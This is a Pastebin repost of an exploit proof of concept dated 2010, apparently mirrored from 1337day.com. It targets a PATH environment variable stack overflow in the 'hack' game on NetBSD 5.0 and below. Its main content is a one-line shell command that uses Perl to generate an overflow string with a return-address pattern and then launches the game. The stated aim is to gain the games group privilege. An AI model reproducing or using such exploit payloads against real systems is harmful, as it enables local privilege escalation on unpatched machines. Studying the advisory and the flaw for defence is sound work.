Tr3v0r

[BSD] NetBSD 5.0 and below Hack PATH Environment

Sep 8th, 2014
265
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.08 KB | None | 0 0
  1. ====================================================================
  2. NetBSD 5.0 and below Hack PATH Environment overflow proof of concept
  3. ====================================================================
  4.  
  5. #!/bin/sh
  6.  
  7. # NetBSD 5.0 and below Hack PATH Environment overflow proof of concept
  8. # Successfull Exploitation gives guid 100 (games)
  9. # Vulnerable Function is in hack.unix.c
  10. # It is a basic strcpy stack overflow. Such overflows are hard to exploit in
  11. # NetBSD. If you can exploit it successfully feel free to contact me
  12. # Original Advisorie: NetBSD-SA2009-007
  13.  
  14. # Title: hack rougelike game PATH stack overflow
  15. # Author: JMIT ([email protected])
  16. # Date: 18. May 2010
  17. # Software Link: Contained in all NetBSD Distributions as default
  18. # Version: NetBSD 5.0 and below
  19. # Tested on: NetBSD 5.0-RELEASE
  20. # CVE: Not available. See NetBSD-SA2009-007
  21. # Code:
  22.  
  23. export PATH=`/usr/pkg/bin/perl -e 'printf("A"x1000);printf("\x41\xb0\xe5\xbf\xbf"x15);'`:/bin:/usr/bin:/usr/sbin:/sbin:/usr/games && hack
  24.  
  25.  
  26.  
  27. # 8AFC5C980466D9E6 1337day.com [2014-09-08] D9272CB340AD49BC #
Add Comment
Please, Sign In to add comment